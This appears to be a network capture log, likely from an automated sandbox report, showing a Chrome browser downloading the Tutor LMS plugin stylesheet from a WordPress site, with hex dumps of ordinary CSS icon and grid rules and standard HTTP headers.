2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 72 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 91 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 74 72 61 73 68 2d 63 61 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 92 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 73 70 65 63 74 61 63 6c 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 93 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 67 72 61 64 75 61 74 65 2d 73 74 75 64 65 6e 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 94 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 67 72 69 64 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 95 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 75 73 65 72 2d 67 72 6f 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 96 22 7d 2e 74 75 74 6f 72 2d 69 63 6f Data Ascii: ry:before{content:""}.tutor-icon-trash-can:before{content:""}.tutor-icon-spectacles:before{content:""}.tutor-icon-graduate-student:before{content:""}.tutor-icon-grid-o:before{content:""}.tutor-icon-user-group:before{content:""}.tutor-ico
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 64 65 6e 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 b1 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 62 61 64 67 65 2d 70 65 72 63 65 6e 74 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 b2 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 6d 6f 6e 65 79 2d 62 61 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 b3 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 62 61 64 67 65 2d 73 74 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 b4 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 75 70 64 61 74 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 b5 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 75 70 6c 6f 61 64 2d 66 69 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a4 b6 22 7d 2e 74 75 74 6f 72 2d 69 Data Ascii: dent:before{content:""}.tutor-icon-badge-percent-o:before{content:""}.tutor-icon-money-bag:before{content:""}.tutor-icon-badge-star:before{content:""}.tutor-icon-update:before{content:""}.tutor-icon-upload-file:before{content:""}.tutor-i
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 22 ee a5 90 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 63 61 72 74 2d 62 6f 6c 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a5 91 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 63 61 72 74 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a5 92 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 72 69 62 62 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a5 93 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 63 65 72 74 69 66 69 63 61 74 65 2d 6c 61 6e 64 73 63 61 70 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a5 94 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 73 6c 69 64 65 72 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a5 95 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 63 68 61 72 74 Data Ascii: ""}.tutor-icon-cart-bold:before{content:""}.tutor-icon-cart-line:before{content:""}.tutor-icon-ribbon:before{content:""}.tutor-icon-certificate-landscape:before{content:""}.tutor-icon-slider-horizontal:before{content:""}.tutor-icon-chart
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 64 69 73 63 6f 75 6e 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a5 af 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 62 61 64 67 65 2d 64 6f 6c 6c 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a5 b0 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 74 65 78 74 2d 61 64 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a5 b1 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 64 6f 63 75 6d 65 6e 74 2d 74 65 78 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a5 b2 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 64 6f 6c 6c 61 72 2d 73 6c 6f 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a5 b3 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 64 6f 6f 72 2d 6f 70 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a5 b4 22 7d 2e 74 Data Ascii: discount:before{content:""}.tutor-icon-badge-dollar:before{content:""}.tutor-icon-text-add:before{content:""}.tutor-icon-document-text:before{content:""}.tutor-icon-dollar-slot:before{content:""}.tutor-icon-door-open:before{content:""}.t
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 68 65 61 72 74 2d 62 6f 6c 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a6 8f 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 68 6f 6d 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a6 90 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a6 91 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 6c 69 67 68 74 2d 62 75 6c 62 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a6 92 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 69 6d 61 67 65 2d 6c 61 6e 64 73 63 61 70 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a6 93 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 69 6d 61 67 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 Data Ascii: }.tutor-icon-heart-bold:before{content:""}.tutor-icon-home:before{content:""}.tutor-icon-hamburger-menu:before{content:""}.tutor-icon-light-bulb:before{content:""}.tutor-icon-image-landscape:before{content:""}.tutor-icon-images:before{conte
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: ad 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 6d 65 65 74 69 6e 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a6 ae 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 6d 69 63 72 6f 70 68 6f 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a6 af 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 6d 69 6e 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a6 b0 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 6d 69 6e 75 73 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a6 b1 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 72 65 66 75 6e 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a6 b2 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 6d 6f 76 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a6 b3 22 7d 2e 74 75 74 6f 72 2d 69 63 Data Ascii: "}.tutor-icon-meeting:before{content:""}.tutor-icon-microphone:before{content:""}.tutor-icon-minus:before{content:""}.tutor-icon-minus-o:before{content:""}.tutor-icon-refund:before{content:""}.tutor-icon-move:before{content:""}.tutor-ic
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 74 3a 22 ee a7 8d 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 63 69 72 63 6c 65 2d 71 75 65 73 74 69 6f 6e 2d 6d 61 72 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a7 8e 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 71 75 69 7a 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a7 8f 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 71 75 69 7a 2d 61 74 74 65 6d 70 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a7 90 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 71 75 69 7a 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a7 91 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 72 65 63 65 69 70 74 2d 62 6f 6c 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a7 92 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 72 65 64 6f 3a 62 65 66 6f 72 65 Data Ascii: t:""}.tutor-icon-circle-question-mark:before{content:""}.tutor-icon-quiz:before{content:""}.tutor-icon-quiz-attempt:before{content:""}.tutor-icon-quiz-o:before{content:""}.tutor-icon-receipt-bold:before{content:""}.tutor-icon-redo:before
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 63 6f 6e 74 65 6e 74 3a 22 ee a7 ae 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 75 73 65 72 2d 67 72 61 64 75 61 74 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a7 af 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 76 65 72 69 66 79 2d 69 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a7 b0 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 76 69 64 65 6f 2d 63 61 6d 65 72 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a7 b1 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 76 69 64 65 6f 2d 63 61 6d 65 72 61 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a7 b2 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 77 61 6c 6c 65 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 ee a7 b3 22 7d 2e 74 75 74 6f 72 2d 69 63 6f 6e 2d 62 72 61 6e 64 Data Ascii: content:""}.tutor-icon-user-graduate:before{content:""}.tutor-icon-verify-id:before{content:""}.tutor-icon-video-camera:before{content:""}.tutor-icon-video-camera-o:before{content:""}.tutor-icon-wallet:before{content:""}.tutor-icon-brand

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49710	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:35 UTC	580	OUT	GET /wp-content/plugins/tutor/assets/css/tutor.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:35 UTC	925	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:35 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e4869ea42c2-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b0fad6-43084" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 14 Jul 2023 07:35:50 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j2aWrkOEnDQY7AsNbx4nI2miD7DNbWuCrrtfRs9yqsjlaKPzHembMNi94YGYNvt6BTWzn0Qi4nDWlabcCfFxLDqlka5Nh6prW%2BN7ewubKGKgtVd%2BAirw5poRSpl4XwxoDWo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:35 UTC	444	IN	Data Raw: 37 63 31 32 0d 0a 5b 63 6c 61 73 73 2a 3d 74 75 74 6f 72 2d 73 63 72 65 65 6e 2d 5d 20 23 77 70 62 6f 64 79 2d 63 6f 6e 74 65 6e 74 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 78 78 6c 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 78 6c 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 6c 67 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 6d 64 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 7b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 76 61 72 28 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 78 2c 20 Data Ascii: 7c12[class*=tutor-screen-] #wpbody-content{box-sizing:border-box}.tutor-container,.tutor-container-fluid,.tutor-container-xxl,.tutor-container-xl,.tutor-container-lg,.tutor-container-md,.tutor-container-sm{width:100%;padding-right:var(--tutor-gutter-x,
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 78 29 7b 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 6d 64 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 37 32 30 70 78 7d 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 7b 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 6c 67 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 6d 64 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 39 36 30 70 78 7d 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 7b 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 78 6c 2c 2e 74 75 74 6f 72 2d 63 6f 6e 74 61 69 Data Ascii: x){.tutor-container-md,.tutor-container-sm,.tutor-container{max-width:720px}}@media(min-width: 992px){.tutor-container-lg,.tutor-container-md,.tutor-container-sm,.tutor-container{max-width:960px}}@media(min-width: 1200px){.tutor-container-xl,.tutor-contai
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 33 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 35 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 34 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 35 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 34 31 2e 36 36 36 36 36 36 36 37 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 36 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 35 30 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 37 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 74 75 74 6f 72 2d 63 6f Data Ascii: {flex:0 0 auto;width:16.66666667%}.tutor-col-3{flex:0 0 auto;width:25%}.tutor-col-4{flex:0 0 auto;width:33.33333333%}.tutor-col-5{flex:0 0 auto;width:41.66666667%}.tutor-col-6{flex:0 0 auto;width:50%}.tutor-col-7{flex:0 0 auto;width:58.33333333%}.tutor-co
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 2d 35 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 78 3a 20 33 72 65 6d 7d 2e 74 75 74 6f 72 2d 67 2d 35 2c 2e 74 75 74 6f 72 2d 67 79 2d 35 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 79 3a 20 33 72 65 6d 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 20 35 37 36 70 78 29 7b 2e 74 75 74 6f 72 2d 63 6f 6c 2d 73 6d 7b 66 6c 65 78 3a 31 20 30 20 30 25 7d 2e 74 75 74 6f 72 2d 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 61 75 74 6f 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 74 75 74 6f 72 2d 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 31 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 74 75 74 6f 72 2d 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 32 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 Data Ascii: -5{--tutor-gutter-x: 3rem}.tutor-g-5,.tutor-gy-5{--tutor-gutter-y: 3rem}@media(min-width: 576px){.tutor-col-sm{flex:1 0 0%}.tutor-row-cols-sm-auto>{flex:0 0 auto;width:auto}.tutor-row-cols-sm-1>{flex:0 0 auto;width:100%}.tutor-row-cols-sm-2>*{flex:0 0 a
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 2d 73 6d 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 74 75 74 6f 72 2d 6f 66 66 73 65 74 2d 73 6d 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 74 75 74 6f 72 2d 6f 66 66 73 65 74 2d 73 6d 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 74 75 74 6f 72 2d 6f 66 66 73 65 74 2d 73 6d 2d 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 74 75 74 6f 72 2d 6f 66 66 73 65 74 2d 73 6d 2d 31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 31 2e 36 36 36 36 36 36 36 37 25 7d 2e 74 75 74 6f 72 2d 67 2d 73 6d 2d 30 2c 2e 74 75 74 6f 72 2d 67 78 2d 73 6d 2d 30 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 78 3a 20 30 7d 2e 74 75 74 6f 72 Data Ascii: -sm-7{margin-left:58.33333333%}.tutor-offset-sm-8{margin-left:66.66666667%}.tutor-offset-sm-9{margin-left:75%}.tutor-offset-sm-10{margin-left:83.33333333%}.tutor-offset-sm-11{margin-left:91.66666667%}.tutor-g-sm-0,.tutor-gx-sm-0{--tutor-gutter-x: 0}.tutor
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 36 36 36 37 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 6d 64 2d 33 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 35 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 6d 64 2d 34 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 6d 64 2d 35 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 34 31 2e 36 36 36 36 36 36 36 37 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 6d 64 2d 36 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 35 30 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 6d 64 2d 37 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 6d 64 2d 38 7b 66 6c 65 78 3a 30 Data Ascii: 6667%}.tutor-col-md-3{flex:0 0 auto;width:25%}.tutor-col-md-4{flex:0 0 auto;width:33.33333333%}.tutor-col-md-5{flex:0 0 auto;width:41.66666667%}.tutor-col-md-6{flex:0 0 auto;width:50%}.tutor-col-md-7{flex:0 0 auto;width:58.33333333%}.tutor-col-md-8{flex:0
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 72 65 6d 7d 2e 74 75 74 6f 72 2d 67 2d 6d 64 2d 34 2c 2e 74 75 74 6f 72 2d 67 78 2d 6d 64 2d 34 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 78 3a 20 32 72 65 6d 7d 2e 74 75 74 6f 72 2d 67 2d 6d 64 2d 34 2c 2e 74 75 74 6f 72 2d 67 79 2d 6d 64 2d 34 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 79 3a 20 32 72 65 6d 7d 2e 74 75 74 6f 72 2d 67 2d 6d 64 2d 35 2c 2e 74 75 74 6f 72 2d 67 78 2d 6d 64 2d 35 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 78 3a 20 33 72 65 6d 7d 2e 74 75 74 6f 72 2d 67 2d 6d 64 2d 35 2c 2e 74 75 74 6f 72 2d 67 79 2d 6d 64 2d 35 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 79 3a 20 33 72 65 6d 7d 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 7b 2e 74 75 74 6f 72 2d 63 6f 6c 2d 6c 67 7b 66 6c 65 Data Ascii: rem}.tutor-g-md-4,.tutor-gx-md-4{--tutor-gutter-x: 2rem}.tutor-g-md-4,.tutor-gy-md-4{--tutor-gutter-y: 2rem}.tutor-g-md-5,.tutor-gx-md-5{--tutor-gutter-x: 3rem}.tutor-g-md-5,.tutor-gy-md-5{--tutor-gutter-y: 3rem}}@media(min-width: 992px){.tutor-col-lg{fle
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 3a 32 35 25 7d 2e 74 75 74 6f 72 2d 6f 66 66 73 65 74 2d 6c 67 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 74 75 74 6f 72 2d 6f 66 66 73 65 74 2d 6c 67 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 36 36 37 25 7d 2e 74 75 74 6f 72 2d 6f 66 66 73 65 74 2d 6c 67 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 74 75 74 6f 72 2d 6f 66 66 73 65 74 2d 6c 67 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 74 75 74 6f 72 2d 6f 66 66 73 65 74 2d 6c 67 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 74 75 74 6f 72 2d 6f 66 66 73 65 74 2d 6c 67 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 74 75 74 Data Ascii: :25%}.tutor-offset-lg-4{margin-left:33.33333333%}.tutor-offset-lg-5{margin-left:41.66666667%}.tutor-offset-lg-6{margin-left:50%}.tutor-offset-lg-7{margin-left:58.33333333%}.tutor-offset-lg-8{margin-left:66.66666667%}.tutor-offset-lg-9{margin-left:75%}.tut
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 36 36 36 36 37 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 78 6c 2d 61 75 74 6f 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 78 6c 2d 31 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 2e 33 33 33 33 33 33 33 33 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 78 6c 2d 32 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 36 36 37 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 78 6c 2d 33 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 35 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 78 6c 2d 34 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 25 7d 2e 74 75 74 6f 72 2d 63 6f 6c 2d 78 6c 2d 35 7b 66 6c Data Ascii: 66667%}.tutor-col-xl-auto{flex:0 0 auto;width:auto}.tutor-col-xl-1{flex:0 0 auto;width:8.33333333%}.tutor-col-xl-2{flex:0 0 auto;width:16.66666667%}.tutor-col-xl-3{flex:0 0 auto;width:25%}.tutor-col-xl-4{flex:0 0 auto;width:33.33333333%}.tutor-col-xl-5{fl
2024-04-11 21:26:35 UTC	1369	IN	Data Raw: 2e 74 75 74 6f 72 2d 67 79 2d 78 6c 2d 32 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 79 3a 20 31 72 65 6d 7d 2e 74 75 74 6f 72 2d 67 2d 78 6c 2d 33 2c 2e 74 75 74 6f 72 2d 67 78 2d 78 6c 2d 33 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 78 3a 20 31 2e 35 72 65 6d 7d 2e 74 75 74 6f 72 2d 67 2d 78 6c 2d 33 2c 2e 74 75 74 6f 72 2d 67 79 2d 78 6c 2d 33 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 79 3a 20 31 2e 35 72 65 6d 7d 2e 74 75 74 6f 72 2d 67 2d 78 6c 2d 34 2c 2e 74 75 74 6f 72 2d 67 78 2d 78 6c 2d 34 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 78 3a 20 32 72 65 6d 7d 2e 74 75 74 6f 72 2d 67 2d 78 6c 2d 34 2c 2e 74 75 74 6f 72 2d 67 79 2d 78 6c 2d 34 7b 2d 2d 74 75 74 6f 72 2d 67 75 74 74 65 72 2d 79 3a 20 32 72 65 6d 7d 2e 